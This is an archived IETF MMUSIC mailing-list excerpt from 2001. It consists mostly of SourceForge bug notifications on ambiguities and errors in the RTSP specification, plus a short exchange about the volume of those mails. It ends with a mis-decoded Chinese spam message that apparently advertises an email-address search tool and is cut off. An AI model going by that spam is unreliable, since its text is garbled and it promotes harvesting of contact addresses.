Bugs item #477423, was opened at 2001-11-01 23:45
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477423&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Unclearities regarding pause with range

Initial Comment:
How shall the pause point be specifed? Is the only correct way to do it "(start time)- "? The use of 
range with time? It seem to be unecessary as play with range works instead.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477423&group_id=23194

From confctrl-owner  Thu Nov  1 23:46:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08565
	for confctrl-outgoing; Thu, 1 Nov 2001 23:46:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08560
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:46:55 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27lOg27732
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:47:24 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ2y-0003ob-00; Thu, 01 Nov 2001 23:47:24 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ2y-0008Er-00; Thu, 01 Nov 2001 23:47:24 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477424 ] How to queue timed plays?
Message-Id: <E15zZ2y-0008Er-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:47:24 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477424, was opened at 2001-11-01 23:47
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477424&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: How to queue timed plays?

Initial Comment:
When you queue items that has a activation time, does that override the order of the events that 
are queued? Play(1) has time A, Play(2) has time B, time A are after time B. 
Assumption on how it work: 
First Play(2) activated at time B, then at time B Play(1) tries to start, if already playing, it 
is queued as a normal untimed event.



----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477424&group_id=23194

From confctrl-owner  Thu Nov  1 23:47:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08673
	for confctrl-outgoing; Thu, 1 Nov 2001 23:47:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08664
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:47:40 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27m9g27794
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:48:09 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ3h-0003pY-00; Thu, 01 Nov 2001 23:48:09 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ3h-0008FS-00; Thu, 01 Nov 2001 23:48:09 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477425 ] Inconsistency between timeformats
Message-Id: <E15zZ3h-0008FS-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:48:09 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477425, was opened at 2001-11-01 23:48
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477425&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Inconsistency between timeformats

Initial Comment:
NPT time in range is allowed to be specifed as "-nptime". No other timeformat allows that, why?

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477425&group_id=23194

From confctrl-owner  Thu Nov  1 23:49:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08725
	for confctrl-outgoing; Thu, 1 Nov 2001 23:49:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08720
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:49:09 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27ncg27976
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:49:38 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ56-0003ux-00; Thu, 01 Nov 2001 23:49:36 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ56-0008G9-00; Thu, 01 Nov 2001 23:49:36 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477427 ] Transport model requirements
Message-Id: <E15zZ56-0008G9-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:49:36 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477427, was opened at 2001-11-01 23:49
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477427&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Transport model requirements

Initial Comment:
Which connection models are required. Is non persitent TCP connections a MUST support, or only 
RECOMMENDED?

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477427&group_id=23194

From confctrl-owner  Thu Nov  1 23:50:45 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08861
	for confctrl-outgoing; Thu, 1 Nov 2001 23:50:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08856
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:50:44 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27pDg28454
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:51:13 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ6d-0003vo-00; Thu, 01 Nov 2001 23:51:11 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ6d-0008HO-00; Thu, 01 Nov 2001 23:51:11 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477428 ] Priorites between aggregated & non cntrl
Message-Id: <E15zZ6d-0008HO-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:51:11 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477428, was opened at 2001-11-01 23:51
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477428&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Priorites between aggregated & non cntrl

Initial Comment:
A single media stream is playing. Then an aggregated control which include this stream is issued a 
play. How should this be interpreted? I use that it is queue and waits until all single streams under 
that aggregated control finish their play.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477428&group_id=23194

From confctrl-owner  Thu Nov  1 23:51:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA08948
	for confctrl-outgoing; Thu, 1 Nov 2001 23:51:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08936
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:51:32 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27q0g28689
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:52:00 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ7O-0003w7-00; Thu, 01 Nov 2001 23:51:58 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ7O-0008I6-00; Thu, 01 Nov 2001 23:51:58 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477429 ] Create a BNF appendix
Message-Id: <E15zZ7O-0008I6-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:51:58 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477429, was opened at 2001-11-01 23:51
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477429&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Create a BNF appendix

Initial Comment:
A complete ABNF of the RTSP specification could be collected in a appendix. This would make it 
easier to find how things are defined when doing implementation of the specification.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477429&group_id=23194

From confctrl-owner  Thu Nov  1 23:52:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA08984
	for confctrl-outgoing; Thu, 1 Nov 2001 23:52:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA08979
	for <confctrl@zephyr.isi.edu>; Thu, 1 Nov 2001 23:52:09 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA27qcg28731
	for <confctrl@isi.edu>; Thu, 1 Nov 2001 23:52:38 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZ81-0003wb-00; Thu, 01 Nov 2001 23:52:37 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZ81-0008Ip-00; Thu, 01 Nov 2001 23:52:37 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477430 ] Improving example
Message-Id: <E15zZ81-0008Ip-00@usw-sf-web3.sourceforge.net>
Date: Thu, 01 Nov 2001 23:52:37 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477430, was opened at 2001-11-01 23:52
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477430&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Improving example

Initial Comment:
Shouldn't the example of RTP-Info page 56 contain timestamps?



----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477430&group_id=23194

From confctrl-owner  Fri Nov  2 00:01:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA09675
	for confctrl-outgoing; Fri, 2 Nov 2001 00:01:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA09670
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 00:01:56 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA282Pg00941
	for <confctrl@isi.edu>; Fri, 2 Nov 2001 00:02:25 -0800 (PST)
Received: from usw-sf-web2-b.sourceforge.net ([10.3.1.6] helo=usw-sf-web2.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZHV-00046t-00; Fri, 02 Nov 2001 00:02:25 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZHV-00005f-00; Fri, 02 Nov 2001 00:02:25 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477432 ] RTP info and queued plays
Message-Id: <E15zZHV-00005f-00@usw-sf-web2.sourceforge.net>
Date: Fri, 02 Nov 2001 00:02:25 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477432, was opened at 2001-11-02 00:02
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477432&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: RTP info and queued plays

Initial Comment:
When queueing plays the server needs to respond with a RTP-info header directly, this header 
should contain sync information. This sync information can be difficult for the server to produce 
with any good quality. Therefore the introduction of a new message/method that can be used for 
sending sync information on the queued play when it starts. Maybe also a message for signaling 
end of stream could be good. 

These are both issues that has been discussed earlier without any resolution. We should resolve 
this during the draft update. 

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477432&group_id=23194

From confctrl-owner  Fri Nov  2 00:06:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA09996
	for confctrl-outgoing; Fri, 2 Nov 2001 00:06:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA09977
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 00:06:02 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA286Vg01855
	for <confctrl@isi.edu>; Fri, 2 Nov 2001 00:06:31 -0800 (PST)
Received: from usw-sf-web2-b.sourceforge.net ([10.3.1.6] helo=usw-sf-web2.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zZLT-0004AD-00; Fri, 02 Nov 2001 00:06:31 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zZLT-00009R-00; Fri, 02 Nov 2001 00:06:31 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477433 ] Timing of response
Message-Id: <E15zZLT-00009R-00@usw-sf-web2.sourceforge.net>
Date: Fri, 02 Nov 2001 00:06:31 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477433, was opened at 2001-11-02 00:06
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477433&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Timing of response

Initial Comment:
The RFC is unclear on when the response to request must be sent. For consistency between 
reliable and non-reliable transport all request should be responded immediatly. A clearification on 
this would be good. 

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477433&group_id=23194

From confctrl-owner  Fri Nov  2 00:48:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA11705
	for confctrl-outgoing; Fri, 2 Nov 2001 00:48:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA11700
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 00:48:01 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA28mUg12187
	for <confctrl@isi.edu>; Fri, 2 Nov 2001 00:48:30 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15za03-00055h-00; Fri, 02 Nov 2001 00:48:27 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15za03-0000YL-00; Fri, 02 Nov 2001 00:48:27 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477411 ] SDP examples, field order
Message-Id: <E15za03-0000YL-00@usw-sf-web3.sourceforge.net>
Date: Fri, 02 Nov 2001 00:48:27 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477411, was opened at 2001-11-01 23:29
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477411&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: SDP examples, field order

Initial Comment:
SDP examples in spec is in wrong order: The SDP specifcation requires a certain order between the 
type names, see section 6 in RFC 2327.

----------------------------------------------------------------------

Comment By: Nobody/Anonymous (nobody)
Date: 2001-11-02 00:48

Message:
Logged In: NO 

Yes. The right sequence is...s->c->t
the example seems to be wrong...
I can see the mistake at C.3, too


----------------------------------------------------------------------

Comment By: Magnus Westerlund (magwes)
Date: 2001-11-01 23:31

Message:
Logged In: YES 
user_id=302620

These are at least erronous

14.4 Live Media Presentation Using Multicast
 ...
 m=audio 3456 RTP/AVP 0
 a=control:rtsp://live.example.com/concert/audio
 c=IN IP4 224.2.0.1/16

 and

 C.2 Aggregate Control Not Available
 ...
 s=I came from a web page
 t=0 0
 c=IN IP4 0.0.0.0

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477411&group_id=23194

From confctrl-owner  Fri Nov  2 00:56:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA12046
	for confctrl-outgoing; Fri, 2 Nov 2001 00:56:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA12041
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 00:56:06 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA28uYg13333
	for <confctrl@ISI.EDU>; Fri, 2 Nov 2001 00:56:35 -0800 (PST)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA28uAf05049;
	Fri, 2 Nov 2001 09:56:10 +0100 (MET)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id JAA21210; Fri, 2 Nov 2001 09:56:09 +0100
Message-ID: <3BE25FA9.E0671166@era-t.ericsson.se>
Date: Fri, 02 Nov 2001 09:56:09 +0100
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Scheibler Rosemarie (PN-SYS/TSF) *" <Rosemarie.Scheibler@Tenovis.com>
CC: IETF MMUSIC WG <confctrl@ISI.EDU>
Subject: RTSP bug mails
References: <F1D387A7FF57D31183860800060DFE9903AD5BAF@frmail1.fr.bosch.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Rosemarie, others,

Yes, they are intentionally sent to MMUSIC. The work to progress RTSP to
draft standard is coordinated as a source forge project. The MMUSIC list
is currently a subscriber to the RTSP projects mail. This keeps the
MMUSIC list in the loop.

I am sorry for this flood of mails that you all have been receiving, due
to me registering all issues from my earlier mail as separate items. But
such floods will not be common. And I hope you can tolerate this for the
good of keeping people informed on issues with RTSP and nourishing a
healthy debate.

Regards

Magnus

"Scheibler Rosemarie (PN-SYS/TSF) *" wrote:

> Hi!
>
> I'm a bit irritated by the number of rtspspec-Bugs mails received,
> which seem to be triggered by you (or your action) somehow.
> Were these intentionally sent to the full mmusic list - if yes, just
> forget I asked :-)
>
> Regards
>    Rosemarie

--

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




From confctrl-owner  Fri Nov  2 01:04:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA12396
	for confctrl-outgoing; Fri, 2 Nov 2001 01:04:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA12391
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 01:04:27 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA294ug15054
	for <confctrl@isi.edu>; Fri, 2 Nov 2001 01:04:56 -0800 (PST)
Received: from usw-sf-web2-b.sourceforge.net ([10.3.1.6] helo=usw-sf-web2.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15zaFa-0005K8-00; Fri, 02 Nov 2001 01:04:30 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15zaFa-0000ri-00; Fri, 02 Nov 2001 01:04:30 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477418 ] RTP info BNF error
Message-Id: <E15zaFa-0000ri-00@usw-sf-web2.sourceforge.net>
Date: Fri, 02 Nov 2001 01:04:30 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477418, was opened at 2001-11-01 23:40
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477418&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: RTP info BNF error

Initial Comment:
Sec 12.33 RTP info syntax of RTP info is wrong, compared to the example. The current syntax 
specifec a comma separated list of URLS then follows the parameters. Should it not be like this?
  RTP-Info        = "RTP-Info" ":" 1#rtp-info-spec
  rtp-info-spec   = stream-url 1*parameter
  stream-url      = "url" "=" url
  parameter       = ";" "seq" "=" 1*DIGIT | ";" "rtptime" "=" 1*DIGIT




----------------------------------------------------------------------

Comment By: Nobody/Anonymous (nobody)
Date: 2001-11-02 01:04

Message:
Logged In: NO 

you are right. spec. must be changed

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477418&group_id=23194

From confctrl-owner  Fri Nov  2 07:08:04 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA24369
	for confctrl-outgoing; Fri, 2 Nov 2001 07:08:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA24364
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 07:08:02 -0800 (PST)
Received: from phoebe.eim.surrey.ac.uk (IDENT:exim@phoebe.eim.surrey.ac.uk [131.227.74.4])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA2F8Vg00805
	for <confctrl@isi.edu>; Fri, 2 Nov 2001 07:08:31 -0800 (PST)
Received: from hermes.ee.surrey.ac.uk ([131.227.88.10] ident=exim)
	by phoebe.eim.surrey.ac.uk with esmtp (Exim 3.16 #1)
	id 15zfvs-0007hX-00
	for confctrl@isi.edu; Fri, 02 Nov 2001 15:08:32 +0000
Received: from ees2ll (helo=localhost)
	by hermes.ee.surrey.ac.uk with local-esmtp (Exim 2.12 #5)
	id 15zfvm-000547-00
	for confctrl@isi.edu; Fri, 2 Nov 2001 15:08:26 +0000
Date: Fri, 2 Nov 2001 15:08:26 +0000 (GMT)
From: Lei Liang <l.liang@eim.surrey.ac.uk>
X-Sender: ees2ll@hermes.ee.surrey.ac.uk
To: confctrl@ISI.EDU
Subject: where I can find the information of old reference?
Message-ID: <Pine.GSO.4.21.0111021507290.18016-100000@hermes.ee.surrey.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Scanner: exiscan *15zfvs-0007hX-00*3TrCMy5JGgI* http://duncanthrax.net/exiscan/
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi, everybody, 
  I find a lot of drafts which has been used as references in new drafts 
or RFCs has been deleted, e.g. sccp-01.So how could greeners find the
relative information when they read these papers? any information will be
appreciated.
thanks.
lei 



From confctrl-owner  Fri Nov  2 07:45:43 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA25697
	for confctrl-outgoing; Fri, 2 Nov 2001 07:45:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA25692
	for <confctrl@zephyr.isi.edu>; Fri, 2 Nov 2001 07:45:42 -0800 (PST)
Received: from mail_server.moutaichina.com ([202.98.222.66])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fA2FkAg11906
	for <confctrl@isi.edu>; Fri, 2 Nov 2001 07:46:10 -0800 (PST)
Received: from LOCAL ([61.182.92.139]) by mail_server.moutaichina.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 2 Nov 2001 22:27:29 +0800
Date: 2001-11-2 21:53:46
From: =?ISO-8859-1?Q?clansoft?=@ISI.EDU
Reply-to: =?ISO-8859-1?Q?clansoft?=<myname@moutaichina.com>
To: =?ISO-8859-1?Q??=<jhunter@dgis.arpa>
Cc: 
Subject: =?ISO-8859-1?Q?=B8=F8=20jhunter=20=B5=C4=C8=ED=BC=FE=CD=C6=BC=F6=D0=C5?=
X-mailer: CDmail3.0
MIME-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Message-ID: <MAIL_SERVERMMAv7Nf4000017f7@mail_server.moutaichina.com>
X-OriginalArrivalTime: 02 Nov 2001 14:27:29.0659 (UTC) FILETIME=[809F2CB0:01C163AA]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id HAA25693
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

ÄúºÃ£¡

ÍƼöÁ½¿î WINDOWS ¹¤¾ßÈí¼þ£º

    Ò»¡¢¿ÆÀ¶ÓʼþµØÖ·ËÑÑ°¹¤¾ß CKmail 3.0 
    ===================================

    Èí¼þ˵Ã÷£º
